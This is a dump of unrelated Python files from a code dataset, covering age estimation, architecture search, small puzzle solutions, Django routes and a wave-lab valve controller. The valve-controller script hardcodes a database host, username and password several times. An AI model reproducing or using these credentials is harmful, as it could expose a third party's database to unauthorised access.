self.normalize_ages(predicted_ages, rmin=self.age_min, rmax=self.age_max)\n else:\n return predicted_ages\n\n def estimate_age_testing(self, image):\n outputs = F.softmax(self.age_model(image), dim=-1)\n predicted_ages = (outputs * self.ages).sum(axis=-1)\n return predicted_ages\n\n def detect_faces(self, img_RGB):\n \"\"\"Detects faces using `dlib.get_frontal_face_detector()`. Return a list\n of coordinates used to crop the image. Images are resized to 640 x 640 before\n detection.\n\n Args:\n img_RGB (tensor): input shape [batch_size, w, h, channels]\n\n Returns:\n list: detections\n \"\"\"\n img_RGB = img_RGB.permute(0,3,1,2)\n \n detections = [] # x1, y1, x2, y2, w, h \n img_RGB = F.interpolate(img_RGB, [640, 640], mode='bilinear', align_corners=False) \n img_RGB = img_RGB.permute(0,2,3,1) # converted to shape [batch_size, w, h, channels] to fit dlib detector\n \n for image in img_RGB: # iterate over the batch\n width, height = image.shape[0], image.shape[0]\n image = image.to(torch.uint8)\n image = image.cpu().numpy()\n detected = self.detector(image, 1)\n if len(detected) == 0:\n # no face was found - use the whole image\n x1, y1, x2, y2, w, h = 0, 0, width, height, width, height\n else:\n d = detected[0]\n x1, y1, x2, y2, w, h = d.left(), d.top(), d.right() + 1, d.bottom() + 1, d.width(), d.height()\n detections.append([x1, y1, x2, y2, w, h])\n \n return detections\n\n def crop_images(self, detections, img_RGB):\n \"\"\"Crops the images using predetermined coordinates from `detect_faces`.\n Resizes the cropped image to fit the age model.\n\n Args:\n detections (list): list of detections\n img_RGB (tensor): input shape [batch_size, channels, w, h]\n\n Returns:\n tensor: tensor of images cropped and resized to fit age model\n \"\"\"\n img_RGB = F.interpolate(img_RGB, [640, 640], mode='bilinear', align_corners=False) \n batch_size, channels , img_w, img_h = img_RGB.shape[0] , img_RGB.shape[1], img_RGB.shape[2], img_RGB.shape[3]\n cropped = torch.empty(batch_size, channels, self.img_size, self.img_size)\n for i in range(batch_size):\n x1, y1, x2, y2, w, h = detections[i]\n xw1 = max(int(x1 - self.margin * w), 0)\n yw1 = max(int(y1 - self.margin * h), 0)\n xw2 = min(int(x2 + self.margin * w), img_w - 1)\n yw2 = min(int(y2 + self.margin * h), img_h - 1)\n face_crop = img_RGB[i][:, yw1:yw2 + 1, xw1:xw2 + 1]\n face_crop_resize = F.interpolate(face_crop[None,:,:,:], [224,224], mode='bilinear', align_corners=False) \n cropped[i] = face_crop_resize[0]\n return cropped\n\n def normalize_ages(self, age, rmin = 0, rmax = 100, tmin = -1, tmax = 1):\n z = ((age - rmin) / (rmax - rmin)) * (tmax - tmin) + tmin\n return torch.round(z, decimals=4)\n\nclass AgeEstimator():\n \"\"\"Class implementing the DEX age estimation model. \n\n Args:\n device: torch.device()\n age_min (int, optional): In what range the denormalization is done. Defaults to 0.\n age_max (int, optional): In what range the denormalization is done. Defaults to 100.\n \"\"\"\n def __init__(self, device, age_min=0, age_max=100):\n root = os.path.expanduser('~')\n self.age_model_path = os.path.join(root, \"Documents/eg3d-age/eg3d/networks/dex\", 'pth/age_sd.pth')\n self.age_model = Age()\n self.age_model.load_state_dict(torch.load(self.age_model_path))\n self.age_model.requires_grad_(requires_grad=False).to(device) # weights are freezed \n self.age_model.eval()\n self.n = torch.arange(0,101).to(device)\n self.age_min = age_min\n self.age_max = age_max\n self.detector = dlib.get_frontal_face_detector()\n self.img_size = 224\n self.margin = 0.4\n self.device=device\n\n def estimate_age(self, gen_img):\n \"\"\"Takes output of G.synthesis and estimates the age of the synthetic person\n\n Args:\n gen_img (tensor): image\n\n Returns:\n tensor: age\n \"\"\"\n img = (gen_img * 127.5 + 128).clamp(0, 255)\n img = self.resize(img) # resize to fit model\n img = torch.floor(img) # round of pixels\n img = img.type('torch.FloatTensor') # input type of age model\n age_predictions, logits = self.predict_ages(img)\n age_predictions = self.normalize_ages(age_predictions, rmin=self.age_min, rmax=self.age_max)\n return age_predictions, logits\n\n def estimate_age_rgb(self, img, normalize=True):\n img = img.float()\n img = torch.floor(img) # round of pixels\n detections = self.detect_faces(img)\n crops=self.crop_images(detections, img.permute(0,3,1,2))\n crops = crops.to(self.device)\n age_predictions, _ = self.predict_ages(crops)\n if normalize:\n age_predictions = self.normalize_ages(age_predictions, rmin=self.age_min, rmax=self.age_max)\n return age_predictions\n\n def normalize_ages(self, age, rmin = 5, rmax = 80, tmin = -1, tmax = 1):\n z = ((age - rmin) / (rmax - rmin)) * (tmax - tmin) + tmin\n return torch.round(z, decimals=4)\n\n\n def normalize(x, rmin = 5, rmax = 80, tmin = -1, tmax = 1):\n z = ((x - rmin) / (rmax - rmin)) * (tmax - tmin) + tmin\n return round(z, 4)\n\n def predict_ages(self, images):\n P_predictions = self.age_model(images)\n ages = torch.sum(P_predictions * self.n, axis=1)\n return ages, P_predictions\n\n def resize(self, img):\n \"\"\"Resize image tensor to fit age model\n\n Args:\n img (tensor): input shape [batch, c, w, h]\n\n Returns:\n tensor: resized tensor of shape [batch, c, w, h]\n \"\"\"\n return F.interpolate(img, [224,224], mode='bilinear', align_corners=True) \n\n def detect_faces(self, img_RGB):\n \"\"\"Detects faces using `dlib.get_frontal_face_detector()`. Return a list\n of coordinates used to crop the image. Images are resized to 640 x 640 before\n detection.\n\n Args:\n img_RGB (tensor): input shape [batch_size, w, h, channels]\n\n Returns:\n list: detections\n \"\"\"\n img_RGB = img_RGB.permute(0,3,1,2)\n \n detections = [] # x1, y1, x2, y2, w, h \n img_RGB = F.interpolate(img_RGB, [640, 640], mode='bilinear', align_corners=False) \n img_RGB = img_RGB.permute(0,2,3,1) # converted to shape [batch_size, w, h, channels] to fit dlib detector\n \n for image in img_RGB: # iterate over the batch\n width, height = image.shape[0], image.shape[0]\n image = image.to(torch.uint8)\n image = image.cpu().numpy()\n detected = self.detector(image, 1)\n if len(detected) == 0:\n # no face was found - use the whole image\n x1, y1, x2, y2, w, h = 0, 0, width, height, width, height\n else:\n d = detected[0]\n x1, y1, x2, y2, w, h = d.left(), d.top(), d.right() + 1, d.bottom() + 1, d.width(), d.height()\n detections.append([x1, y1, x2, y2, w, h])\n \n return detections\n\n def crop_images(self, detections, img_RGB):\n \"\"\"Crops the images using predetermined coordinates from `detect_faces`.\n Resizes the cropped image to fit the age model.\n\n Args:\n detections (list): list of detections\n img_RGB (tensor): input shape [batch_size, channels, w, h]\n\n Returns:\n tensor: tensor of images cropped and resized to fit age model\n \"\"\"\n img_RGB = F.interpolate(img_RGB, [640, 640], mode='bilinear', align_corners=False) \n batch_size, channels , img_w, img_h = img_RGB.shape[0] , img_RGB.shape[1], img_RGB.shape[2], img_RGB.shape[3]\n cropped = torch.empty(batch_size, channels, self.img_size, self.img_size)\n for i in range(batch_size):\n x1, y1, x2, y2, w, h = detections[i]\n xw1 = max(int(x1 - self.margin * w), 0)\n yw1 = max(int(y1 - self.margin * h), 0)\n xw2 = min(int(x2 + self.margin * w), img_w - 1)\n yw2 = min(int(y2 + self.margin * h), img_h - 1)\n face_crop = img_RGB[i][:, yw1:yw2 + 1, xw1:xw2 + 1]\n face_crop_resize = F.interpolate(face_crop[None,:,:,:], [self.img_size, self.img_size], mode='bilinear', align_corners=False) \n cropped[i] = face_crop_resize[0]\n return cropped \n\ndef get_model(model_name=\"se_resnext50_32x4d\", num_classes=101, pretrained=\"imagenet\"):\n model = pretrainedmodels.__dict__[model_name](pretrained=pretrained)\n dim_feats = model.last_linear.in_features\n model.last_linear = nn.Linear(dim_feats, num_classes)\n model.avg_pool = nn.AdaptiveAvgPool2d(1)\n return model\n\nif __name__ == \"__main__\":\n from training_loop import denormalize\n print(denormalize(-0.9557, rmin=0, rmax=75))\n age_model = AgeEstimatorNew(torch.device(\"cuda\"), crop=True)\n age_model2 = AgeEstimator(torch.device(\"cuda\"), age_max=75)\n folder = \"/zhome/d7/6/127158/Documents/eg3d-age/age-estimation-pytorch/in\"\n for name in sorted(os.listdir(folder)):\n image_path = os.path.join(folder, name)\n image = cv2.imread(image_path)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n img_tensor = torch.from_numpy(image)\n img_tensor = img_tensor.to(\"cuda\")\n predicted_age = age_model.estimate_age_rgb(img_tensor[None,:,:,:], normalize=False).item()\n predicted_age2 = age_model2.estimate_age_rgb(img_tensor[None,:,:,:], normalize=False).item()\n print(name, \"age:\", predicted_age, predicted_age2)\n image = torch.randn(1,3,512,512)\n # print(age_model.estimate_age(image))\n\n ","repo_name":"johndoe133/eg3d-age","sub_path":"eg3d/training/estimate_age.py","file_name":"estimate_age.py","file_ext":"py","file_size_in_byte":15589,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"9240538478","text":"class Solution:\n def numEnclaves(self, grid: List[List[int]]) -> int:\n def dfs(row, col):\n if grid[row][col] == 0:\n return\n \n grid[row][col] = 0\n for direction in DIR:\n new_row, new_col = row + direction[0], col + direction[1]\n \n if in_bound(new_row,new_col):\n dfs(new_row,new_col)\n \n DIR = [[1,0],[0,1],[-1,0],[0,-1]]\n in_bound = lambda row, col: 0 <= row < len(grid) and 0 <= col < len(grid[row])\n \n for i in range(len(grid[0]) - 1):\n dfs(0, i)\n dfs(len(grid) - 1, i)\n \n for j in range(len(grid)):\n dfs(j,0)\n dfs(j, len(grid[0]) - 1)\n \n return sum(sum(rws) for rws in grid)\n ","repo_name":"tesfaymebre/A2SV_comptetive_programming-python-","sub_path":"1020-number-of-enclaves/1020-number-of-enclaves.py","file_name":"1020-number-of-enclaves.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26038197934","text":"from copy import deepcopy\n\ndef load_weights(model, weights, debug = False, metrics = None, finetune=True):\n if weights is None:\n raise Exception(\"Weights not found.\")\n \n origModelWeights = deepcopy(model.get_weights())\n weight_idx = 0\n setWeights = True\n for i, layer in enumerate(model.layers):\n if \"batch\" in layer.name:\n if debug: print(layer.name)\n if layer.get_weights() != []:\n if layer.get_weights()[0].shape == weights[weight_idx].shape and i < len(model.layers)-1:\n temp = []\n for j, weight in enumerate(layer.get_weights()):\n if weight_idx+j < len(weights)-1:\n weight_idx += j\n temp.append(weights[weight_idx])\n else:\n setWeights = False\n if setWeights:\n layer.set_weights(temp)\n if finetune: layer.trainable = False\n weight_idx += 1\n if debug: print(\"Weight group {} of {} used\".format(weight_idx, len(weights)))\n if debug: print(layer.name, \"Weight Changed\")\n else:\n if debug: print(layer.name, \"Weight Not Changed\")\n \n if debug: \n for weight in weights[weight_idx-1:]:\n print(weight.shape)\n \n assert (origModelWeights[0] != model.get_weights()[0]).any()\n \n return model\n\nfrom keras.optimizers import Nadam\nfrom clr_callback import CyclicLR\n\ndef fit(model, ds, loss=\"categorical_crossentropy\", metrics=[\"acc\"], epochs=3, finetune=False, verbose=1):\n optim = Nadam()\n base_lr = 0.001\n max_lr = 0.006\n clr = CyclicLR(base_lr=base_lr, max_lr=max_lr,\n step_size=2000., mode='triangular')\n \n model.compile(optimizer=optim,\n loss=loss,\n metrics=metrics)\n \n if finetune:\n orig_epochs = epochs\n epochs //= 2\n model.fit_generator(generator=ds.train_gen, steps_per_epoch=ds.train_steps,\n epochs=epochs, verbose=verbose, callbacks=[clr], validation_data=ds.val_gen,\n validation_steps=ds.val_steps)\n \n base_lr /= 2\n max_lr /= 2\n \n for layer in model.layers:\n layer.trainable = True\n \n model.compile(optimizer=optim,\n loss=loss,\n metrics=metrics)\n \n model.fit_generator(generator=ds.train_gen, steps_per_epoch=ds.train_steps,\n epochs=epochs, verbose=verbose, callbacks=[clr], validation_data=ds.val_gen,\n validation_steps=ds.val_steps)\n \n epochs = orig_epochs\n \n return model.fit_generator(generator=ds.train_gen, steps_per_epoch=ds.train_steps,\n epochs=epochs, verbose=verbose, callbacks=[clr], validation_data=ds.val_gen,\n validation_steps=ds.val_steps).history['val_loss'][-1]\n \n\ndef twosFloor(num):\n if num % 2 == 1:\n return (num - 1) // 2\n else:\n return num // 2\n\ndef shiftedTwosFloor(num):\n num += 3\n if num % 2 == 1:\n return (num - 1) // 2\n else:\n return num // 2\n\nfrom model_assembly import assemble_model\nimport numpy as np\nfrom dataset import Dataset\nfrom IPython.core.debugger import set_trace\nds = Dataset()\n\ndef convert_to_matrix(state, new_rep):\n M = []\n for _ in range(state.max_depth):\n M.append([])\n for _ in range(state.max_depth):\n M[-1].append(\"\")\n for i in range(state.size):\n M[twosFloor(i)][shiftedTwosFloor(i)] = new_rep[i]\n \n return M\n\nimport pickle as p\nimport database as db\n\ndef eval_arch(state, node):\n board = state.board\n layer_types = state.layer_types\n new_rep = []\n for i in range(len(board)):\n new_rep.append(layer_types[board[i]])\n M = convert_to_matrix(state, new_rep)\n \n print(M)\n try:\n model = assemble_model(M)\n except Exception as e:\n print(e)\n return -1\n prev_loss = 0 \n results = db.select(\"\"\"SELECT loss FROM data WHERE depth={}\"\"\".format(node[\"depth\"]))\n if len(results) > 0:\n for res in results:\n prev_loss += res[0]\n prev_loss /= len(results)\n if prev_loss == 0:\n prev_loss = None\n \n loss = fit(model, ds, finetune=False, verbose=1)\n \n db.insert(\"\"\"INSERT INTO data VALUES (?, ?, ?, ?, ?)\"\"\", (node[\"depth\"], loss, '', '', 0))\n print(\"prev_loss: {}, new_loss: {}\".format(prev_loss, loss))\n \n if prev_loss is None:\n return 0\n elif loss < prev_loss:\n return 1\n else:\n return -1","repo_name":"jprothero/ArchZero","sub_path":"evaluate_arch.py","file_name":"evaluate_arch.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25312333530","text":"d_b = {9103976271:[('Reina', 'Meinhard'),('Memphis','Tennessee')],\n\t\t4199392609:[('Stephanie', 'Bruice'),('Greensboro','North Carolina')],\n\t\t9099459979:[('Ermes', 'Angela'),('Dallas','Texas')],\n\t\t6123479367:[('Lorenza', 'Takuya'),('Indianapolis','Indiana')],\n\t\t7548993768:[('Margarete', 'Quintin'),('Raleigh','North Carolina')]}\n\n#num = '7548993768'\nnum = input('Enter phone number: ').replace(' ','').replace('-','')\n\nif not num.isdecimal():\n \tprint('\\n[Error: must be only numbers]')\nelif len(num) != 10:\n \tprint('\\n[Error: must be only 10 numbers]')\nelif int(num) not in d_b:\n \tprint('\\nThe number is not found')\nelse:\n\tnum = int(num)\n\tprint(f'\\n{d_b[num][0][0]} {d_b[num][0][1]} from {d_b[num][1][0]}, {d_b[num][1][1]}')\n\n\ninput()","repo_name":"MikitaTsiarentsyeu/Md-PT1-52-22","sub_path":"Tasks/Kozinets/Task2/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"37946292441","text":"from django.urls import path\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n)\nfrom .views import MyTokenObtainPairView, CreateProjectView, ListProjectView, ListUserView, SentencesByProjectView, UpdateSentenceView\n\nurlpatterns = [\n path('auth/token/', MyTokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('auth/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('users/list/',\n ListUserView.as_view({'get': 'list'}), name='list_users'),\n path('projects/create/', CreateProjectView.as_view(), name='create_project'),\n path('projects/list/', ListProjectView.as_view(), name='list_projects'),\n path('projects/<str:project_id>/sentences/',\n SentencesByProjectView.as_view({'get': 'list'}), name='sentences-by-project'),\n path('projects/<str:project_id>/sentences/update/',\n UpdateSentenceView.as_view(), name='update-sentences'),\n]\n","repo_name":"virtualdesigner/WikiTrans","sub_path":"translator_server/wiki_translator_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31429350579","text":"# -*- coding: utf-8 -*-\nfrom setuptools import setup, find_packages\nfrom pip.req import parse_requirements\nimport pip.download\nimport os\nimport glob\n\ntry:\n long_description = open(\"README.asciidoc\").read()\nexcept IOError:\n long_description = \"\"\n\ninstall_requires = []\n\nsetup(\n name=\"inoket-email-templates\",\n version=\"1.0.0\",\n description=\"Email Templates for Inoket\",\n license=\"MIT\",\n author=\"pebble {code}\",\n packages=['inoket-email-templates'],\n install_requires=install_requires,\n long_description=long_description,\n package_data={\n 'inoket-email-templates': ['assets/*.html']},\n classifiers=[\n \"Programming Language :: HTML\",\n ]\n)\n","repo_name":"pebblecode/cirrus-email-template","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39805803548","text":"# Complete the square sum function so that it \n# squares each number passed into it and then sums the results together.\n\n# For example, for [1, 2, 2] it should return 9 because 1^2 + 2^2 + 2^2 = 9.\n\nimport math\n\ndef square_sum(numbers):\n #your code here\n \n sum = 0\n for i in numbers:\n sum = sum + math.pow(i, 2)\n \n return sum\n","repo_name":"adnan1359/Codewars-Solution","sub_path":"6KYU/Square(n)_Sum.py","file_name":"Square(n)_Sum.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12473622761","text":"def binarySearch(goal, source):\n left = 0\n right = len(source)-1\n while left <= right:\n mid = (left+right)//2\n if source[mid] > goal:\n right = mid-1\n elif source[mid] < goal:\n left = mid+1\n else:\n return mid\n return -1\n\ndef solution(nums, target):\n from collections import Counter\n h = Counter(nums)\n n=0\n for num in nums:\n if target+num in h:\n n+=h[target+num]\n return n\n\n\nif __name__ == \"__main__\":\n n, c = map(int, input().split())\n source = list(map(int, input().split()))\n print(solution(source,c))\n # source.sort()\n # num = 0\n # for b in source:\n # goal = b+c\n # index = binarySearch(goal, source)\n # if index != -1:\n # num += 1\n # lindex = rindex = index\n # while lindex > 0 and source[lindex] == source[lindex-1]:\n # lindex -= 1\n # num += 1\n # while rindex < len(source)-1 and source[rindex] == source[rindex+1]:\n # rindex += 1\n # num += 1\n # print(num)\n\n\n","repo_name":"PtCu/practice","sub_path":"OJ/luogu/P1102.py","file_name":"P1102.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16130099225","text":"t = int(input())\n\nfor _ in range(t):\n n, c0, c1, h = map(int, input().split())\n\n s = input()\n \n zeroCount, oneCount = 0, 0\n\n for i in s:\n if i == '0': zeroCount+=1\n\n else: oneCount+=1\n \n save = abs(c0-c1)\n\n if save > h:\n if c0 < c1:\n res = (n* c0) + (oneCount*h)\n \n else:\n res = (n*c1)+ (zeroCount*h)\n \n else:\n res = (zeroCount*c0)+ (oneCount* c1)\n \n\n print(res)","repo_name":"suhasgumma/Problem-Solving","sub_path":"codeForces/Round684Div2/ABuyTheString.py","file_name":"ABuyTheString.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31869275780","text":"\"\"\"\nIMPORTS\n\"\"\"\nimport mysql, time, math\nfrom mysql.connector import Error\n\nfrom time import sleep\nfrom control import *\nfrom conf import facility_controls\n\n\n\"\"\"\nGLOBAL VARIABLES\n\"\"\"\ndb = None\nquery = None\nDB_MONITOR_INTERVAL = 30\nDWB_MAX_FILL = 190\nLWF_MAX_FILL = 410\nSTAG_CONSTANT = 25\nstagnation = [[],[]]\nlogFile = open(\"output.log\", \"w\")\nerrorFile = open(\"error.log\", \"w\")\n\nsql_check_for_new_target = \"\"\"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = %s and isComplete = 0 ORDER BY Tdate DESC LIMIT 1;\"\"\"\nsql_check_if_fill_met = \"\"\"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = %s ORDER BY Tdate DESC LIMIT 1;\"\"\"\nsql_update_isComplete = \"\"\"UPDATE target_depth SET isComplete = 1 WHERE Target_Flume_Name = %s;\"\"\"\n\nsql_DWB_check_for_new_target = \"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = 0 and isComplete = 0 ORDER BY Tdate DESC LIMIT 1;\"\nsql_LWF_check_for_new_target = \"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = 1 and isComplete = 0 ORDER BY Tdate DESC LIMIT 1;\"\nsql_DWB_check_if_fill_met = \"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = 0 ORDER BY Tdate DESC LIMIT 1;\"\nsql_LWF_check_if_fill_met = \"SELECT * FROM `target_depth` WHERE Tdate < CURRENT_TIMESTAMP AND Target_Flume_Name = 1 ORDER BY Tdate DESC LIMIT 1;\"\nsql_DWB_update_isComplete = \"\"\"UPDATE target_depth SET isComplete = 1 WHERE Tdepth > %s AND Tdepth < %s AND Target_Flume_Name = 0;\"\"\"\nsql_LWF_update_isComplete = \"\"\"UPDATE target_depth SET isComplete = 1 WHERE Tdepth > %s AND Tdepth < %s AND Target_Flume_Name = 1;\"\"\"\n\n\"\"\"\nFUNCITONS\n\"\"\"\n\"\"\"\nReturns a value truncated to a specific number of decimal places.\n\"\"\"\ndef truncate(number, decimals=0):\n if not isinstance(decimals, int):\n raise TypeError(\"decimal places must be an integer.\")\n elif decimals < 0:\n raise ValueError(\"decimal places has to be 0 or more.\")\n elif decimals == 0:\n return math.trunc(number)\n\n factor = 10.0 ** decimals\n return math.trunc(number * factor) / factor\n\n\"\"\"\nConnects to database and executes a query for the associated flume / basin, otherwise returns none\n\"\"\"\ndef get_depth(flumeNumber):\n db = mysql.connector.connect(host='engr-db.engr.oregonstate.edu',\n database='wave_lab_database',\n user='wave_lab_database',\n password='1amSmsjbRKB5ez4P')\n query = db.cursor()\n\n if flumeNumber == 0:\n query.execute(\"SELECT * FROM `depth_data` WHERE Depth_Flume_Name = 0 ORDER BY Ddate DESC LIMIT 1\")\n records = query.fetchall()\n for row in records:\n res = row[1]\n elif flumeNumber == 1:\n query.execute('SELECT * FROM `depth_data` WHERE Depth_Flume_Name = 1 ORDER BY Ddate DESC LIMIT 1')\n records = query.fetchall()\n for row in records:\n res = row[1]\n else:\n return\n\n return res\n\n\"\"\"\nChecks a global list of previous depth values to ensure that the tank is filling, if its not, sets target as filled\n\"\"\"\ndef checkStagnate(flumeNumber, newDepth):\n global stagnation\n logFile = open(\"output.log\", \"a\")\n errorFile = open(\"error.log\", \"a\")\n\n db = mysql.connector.connect(host='engr-db.engr.oregonstate.edu',\n database='wave_lab_database',\n user='wave_lab_database',\n password='1amSmsjbRKB5ez4P')\n query = db.cursor(prepared = True)\n\n # if stagnation queue not filled, append latest depth\n if len(stagnation[flumeNumber]) < 10:\n stagnation[flumeNumber].append(newDepth)\n return False\n else:\n # if fill isn't past minimum fill interval (newest depth - oldest depth), update target to filled\n if (stagnation[flumeNumber][9] - stagnation[flumeNumber][0]) < STAG_CONSTANT:\n stagnation[flumeNumber] = []\n if flumeNumber == 0:\n errorFile.write(\"[Target Monitor][DWB] STAGNATION DETECTED!!! STOPPING FILL\\n\")\n update_query = \"\"\"UPDATE target_depth SET isComplete = 1 WHERE Target_Flume_Name = 0;\"\"\"\n query.execute(update_query)\n db.commit()\n return True\n else:\n errorFile.write(\"[Target Monitor][LWF] STAGNATION DETECTED!!! STOPPING FILL\\n\")\n update_query = \"\"\"UPDATE target_depth SET isComplete = 1 WHERE Target_Flume_Name = 1;\"\"\"\n query.execute(update_query)\n db.commit()\n return True\n # if fill is making progress, remove oldest depth, append newest depth\n else:\n shift = stagnation[flumeNumber].pop(0)\n stagnation[flumeNumber].append(newDepth)\n return False\n\n\"\"\"\nConstant daemon to monitor LWF and DWB on interval\n\"\"\"\ndef monitor_database():\n logFile = open(\"output.log\", \"a\")\n\n logFile.write(\"[Target Monitor][DWB] Starting...\\n\")\n check_complete_DWB()\n logFile.write(\"[Target Monitor][LWF] Starting...\\n\")\n\n check_complete_LWF()\n\n i = 0\n while i <= 10:\n sleep(DB_MONITOR_INTERVAL)\n check_complete_DWB()\n check_complete_LWF()\n\ndef check_complete_DWB():\n current_depth = get_depth(0)\n db = mysql.connector.connect(host='engr-db.engr.oregonstate.edu',\n database='wave_lab_database',\n user='wave_lab_database',\n password='1amSmsjbRKB5ez4P')\n query = db.cursor(prepared = True)\n\n logFile = open(\"output.log\", \"a\")\n\n # Executes query to get the currently set targets if they exist, then fetchs the closest upcoming / currently enacted\n query.execute(sql_DWB_check_for_new_target)\n records = query.fetchone()\n\n #if no fill target is present, output statement and return\n if records is None:\n logFile.write(\"[Target Monitor][DWB] Not filling, no target found\\n\")\n return\n\n #otherwise a fill target exists and could need to be acted upon\n else:\n # get facility controls and print status to terminal\n ctrl = facility_controls['DWB']['basin_north']\n\n # if stagnating, exit\n if checkStagnate(0, current_depth):\n return\n \n query.execute(sql_DWB_check_if_fill_met)\n records = query.fetchone()\n\n #if no fill target is present, output statement and return\n if current_depth < records[0]:\n logFile.write(\"[Target Monitor][DWB] Filling\\n\")\n if ctrl.status().status != \"open\":\n print()\n # ctrl.open()\n\n elif current_depth >= records[0] or current_depth >= DWB_MAX_FILL:\n logFile.write(\"[Target Monitor][DWB] Fill finished, updating database\\n\")\n stagnation[0] = []\n if ctrl.status().status != \"closed\":\n print()\n # ctrl.close()\n high = truncate(records[0], 2) +.05\n low = truncate(records[0], 2) - .05\n val = (low, high)\n query.execute(sql_DWB_update_isComplete, val)\n db.commit()\n\ndef check_complete_LWF():\n current_depth = get_depth(1)\n\n db = mysql.connector.connect(host='engr-db.engr.oregonstate.edu',\n database='wave_lab_database',\n user='wave_lab_database',\n password='1amSmsjbRKB5ez4P')\n query = db.cursor(prepared = True)\n\n logFile = open(\"output.log\", \"a\")\n \n # Executes query to get the currently set targets if they exist, then fetchs the closest upcoming / currently enacted\n query.execute(sql_LWF_check_for_new_target)\n records = query.fetchone()\n if records is None:\n logFile.write(\"[Target Monitor][LWF] Not filling, no target found\\n\")\n return\n\n #otherwise a fill target exists and could need to be acted upon\n else:\n # get facility controls and print status to terminal\n ctrl_north = facility_controls['LWF']['flume_north']\n ctrl_south = facility_controls['LWF']['flume_south']\n\n # if stagnating, exit\n if checkStagnate(1, current_depth):\n return\n\n query.execute(sql_LWF_check_if_fill_met)\n records = query.fetchone()\n if current_depth < records[0]:\n logFile.write(\"[Target Monitor][LWF] Filling\\n\")\n if ctrl_north.status().status != \"open\":\n print()\n # ctrl_north.open()\n if ctrl_south.status().status != \"open\":\n print()\n # ctrl_south.open()\n\n elif current_depth >= records[0] or current_depth >= LWF_MAX_FILL:\n logFile.write(\"[Target Monitor][LWF] Fill finished, updating database\\n\")\n stagnation[1] = []\n if ctrl_north.status() != \"closed\":\n print(\"[Target Monitor][LWF] Closing north valve\")\n # ctrl_north.close()\n if ctrl_south.status() != \"closed\":\n print(\"[Target Monitor][LWF] Closing south valve\")\n # ctrl_south.close()\n high = truncate(records[0], 2) +.05\n low = truncate(records[0], 2) - .05\n val = (low, high)\n query.execute(sql_LWF_update_isComplete, val)\n db.commit()\n\ndef checkComplete(flumeNumber):\n ctrl = []\n\n current_depth = get_depth(flumeNumber)\n db = mysql.connector.connect(host='engr-db.engr.oregonstate.edu',\n database='wave_lab_database',\n user='wave_lab_database',\n password='1amSmsjbRKB5ez4P')\n query = db.cursor(prepared = True)\n\n # Executes query to get the currently set targets if they exist, then fetchs the closest upcoming / currently enacted\n val = (flumeNumber)\n query.execute(sql_check_for_new_target, val)\n records = query.fetchone()\n\n #if no fill target is present, output statement and return\n if records is None:\n print(\"[Target Monitor][DWB] Not filling no target found\")\n return\n\n #otherwise a fill target exists and could need to be acted upon\n else:\n # get facility controls and print status to terminal\n if flumeNumber == 0:\n ctrls.append(facility_controls['DWB']['basin_north'])\n else:\n ctrls.append(facility_controls['LWF']['flume_north'])\n ctrls.append(facility_controls['LWF']['flume_south'])\n\n date = records[2]\n val = (flumeNumber)\n query.execute(sql_check_if_fill_met, val)\n records = query.fetchone()\n\n #if no fill target is present, output statement and return\n if current_depth < records[0]:\n if flumeNumber == 0:\n print(\"[Target Monitor][DWB] Filling \", current_depth, \" ==> \", truncate(records[0], 2))\n else:\n print(\"[Target Monitor][LWF] Filling \", current_depth, \" ==> \", truncate(records[0], 2))\n\n for ctrl in ctrls:\n if ctrl.status().status != \"open\":\n ctrl.open()\n\n elif current_depth >= records[0] or current_depth >= DWB_MAX_FILL:\n if flumeNumber == 0:\n print(\"[Target Monitor][DWB] Fill finished, updating database\")\n else:\n print(\"[Target Monitor][LWF] Fill finished, updating database\")\n for ctrl in ctrls:\n if ctrl.status().status != \"closed\":\n ctrl.close()\n\n high = truncate(records[0], 2) +.05\n low = truncate(records[0], 2) - .05\n val = (flumeNumber)\n query.execute(sql_update_isComplete, val)\n db.commit()\n\n\n\"\"\"\nAPPLICATION\n\"\"\"\n\nif __name__ == '__main__':\n monitor_database()\n\n","repo_name":"ajkolstad/wave-lab-app","sub_path":"hardware_interaction/valves.py","file_name":"valves.py","file_ext":"py","file_size_in_byte":11988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20293557582","text":"from OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\n\n\n\"\"\"\nThe gingerbread man\n\nThe gingerbread man is again iterated function sequence ( see mathworld.wolfram.com∞\nfor example). This code generates the gingerbread man based on the parameters\nsuggested in the book. But the starting point can be altered by clicking the 